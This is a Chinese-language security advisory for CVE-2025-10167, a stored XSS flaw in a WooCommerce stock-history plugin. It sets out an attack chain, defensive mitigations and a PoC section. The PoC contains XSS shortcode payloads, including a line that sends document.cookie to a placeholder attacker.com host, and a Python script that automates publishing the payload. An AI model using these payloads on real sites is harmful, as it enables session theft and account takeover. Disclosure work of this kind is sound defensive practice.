IPBUF安全漏洞报告
English
CVE-2025-10167 CVSS 6.4 中危

CVE-2025-10167:WooCommerce库存快照插件存储型XSS漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-10167
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Stock History & Reports Manager for WooCommerce (stock-snapshot-for-woocommerce)

相关标签

XSS存储型XSSStored Cross-Site ScriptingWordPressWooCommercestock-snapshot-for-woocommerce短代码注入shortcode中危漏洞CVE-2025-10167

漏洞概述

CVE-2025-10167是WordPress平台上一款名为Stock History & Reports Manager for WooCommerce插件中存在的存储型跨站脚本(Stored XSS)安全漏洞。该插件主要用于管理和报告WooCommerce商店的库存历史记录。该漏洞由WordPress安全团队[email protected]发现并报告,CVSS评分为6.4分,属于中危级别漏洞。

该漏洞存在于插件的短代码(shortcode)功能中,具体涉及`alg_wc_stock_snapshot_restocked`短代码。由于插件在处理用户提供的属性参数时缺乏充分的输入净化(input sanitization)和输出转义(output escaping)机制,攻击者可以通过精心构造恶意短代码属性,将任意JavaScript代码注入到页面中。这些恶意代码将被持久化存储在数据库中,每当普通用户访问包含该注入内容的页面时,恶意脚本就会自动执行。

漏洞的影响范围涵盖该插件的所有版本,最高至2.2.2版本(包括2.2.2)。由于该漏洞需要贡献者级别(contributor-level)及以上的认证权限才能利用,因此其威胁程度被评估为中危。然而,一旦被利用,攻击者可以窃取用户会话cookie、劫持管理员账户、进行钓鱼攻击或植入恶意软件,对WordPress网站的安全性构成严重威胁。

技术细节

该漏洞的核心问题在于插件对短代码属性的处理逻辑存在缺陷。具体而言,在`class-alg-wc-stock-snapshot-shortcodes.php`文件的第174行附近,`alg_wc_stock_snapshot_restocked`短代码在处理用户输入的属性时,没有对这些属性值进行适当的HTML实体编码或JavaScript关键字过滤。

技术原理:
1. WordPress短代码机制允许通过方括号形式如[shortcode attr1="value1"]在文章或页面中嵌入动态内容。
2. 该插件的`alg_wc_stock_snapshot_restocked`短代码接受用户提供的属性参数。
3. 当贡献者级别的用户创建或编辑文章/页面时,可以在短代码属性中注入恶意JavaScript代码,例如:[alg_wc_stock_snapshot_restocked attr=""><script>alert('XSS')</script>]
4. 由于缺乏输出转义,这些恶意脚本被直接渲染到HTML页面中。
5. 当其他用户(包括管理员)访问包含此注入内容的页面时,注入的脚本将在受害者浏览器上下文中执行。

利用方式:
- 攻击者首先需要获取贡献者级别或更高权限的账户(可通过社会工程、弱密码爆破或购买等方式获得)。
- 登录后,攻击者创建新文章或编辑现有文章,在内容中插入包含恶意XSS负载的短代码。
- 提交文章后,恶意代码被存储到WordPress数据库中。
- 当管理员或其他用户预览或查看该文章时,恶意脚本自动执行,可用于窃取cookie、会话令牌或执行管理员权限的操作。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过社会工程、密码爆破或购买等方式获取WordPress网站的贡献者级别(contributor)或更高权限的账户凭据。
STEP 2
步骤2:登录WordPress后台
使用获取的凭据登录WordPress管理后台,确认具有创建或编辑文章/页面的权限。
STEP 3
步骤3:构造恶意短代码
创建新文章或编辑现有文章,在内容中插入包含恶意JavaScript代码的`alg_wc_stock_snapshot_restocked`短代码,如注入`<script>`标签或事件处理器。
STEP 4
步骤4:发布恶意内容
将包含恶意短代码的文章提交发布,恶意脚本被持久化存储到WordPress数据库中。
STEP 5
步骤5:触发XSS执行
当管理员或其他用户访问包含恶意注入内容的页面时,浏览器解析HTML并执行注入的JavaScript代码。
STEP 6
步骤6:执行恶意操作
恶意脚本在受害者浏览器上下文中执行,可窃取会话cookie、劫持账户、进行钓鱼攻击或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-10167 PoC for Stored XSS in Stock History & Reports Manager for WooCommerce --> <!-- Affected versions: <= 2.2.2 --> <!-- Required privilege: Contributor level or above --> <!-- Step 1: Login as a contributor-level user --> <!-- Step 2: Create a new post or page --> <!-- Step 3: Insert the following malicious shortcode in the content --> [alg_wc_stock_snapshot_restocked id=""><img src=x onerror=alert(document.cookie)>] <!-- Alternative payload for cookie stealing --> [alg_wc_stock_snapshot_restocked id="1"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>] <!-- Step 4: Publish the post --> <!-- Step 5: When any user (especially admin) views the post, the XSS payload executes --> <!-- Exploit script (Python) to automate the attack --> """ import requests TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "password123" # Login to WordPress session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': TARGET_URL + '/wp-admin/post-new.php', 'testcookie': '1' } session.post(TARGET_URL + '/wp-login.php', data=login_data) # Create a new post with malicious shortcode post_data = { 'post_title': 'Test Post', 'post_content': '[alg_wc_stock_snapshot_restocked id=""><img src=x onerror=alert(document.cookie)>]', 'post_status': 'publish', 'post_type': 'post' } response = session.post(TARGET_URL + '/wp-admin/post.php', data=post_data) print("Post published successfully" if response.status_code == 200 else "Failed") """

影响范围

stock-snapshot-for-woocommerce <= 2.2.2

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)暂时禁用Stock History & Reports Manager for WooCommerce插件;2)严格审核贡献者级别用户发布的所有内容;3)部署Wordfence等安全插件启用XSS防护规则;4)限制只有受信任的管理员才能使用相关短代码;5)监控网站日志,及时发现可疑的短代码注入行为;6)在Web服务器层面配置Content Security Policy(CSP)头部,限制内联脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表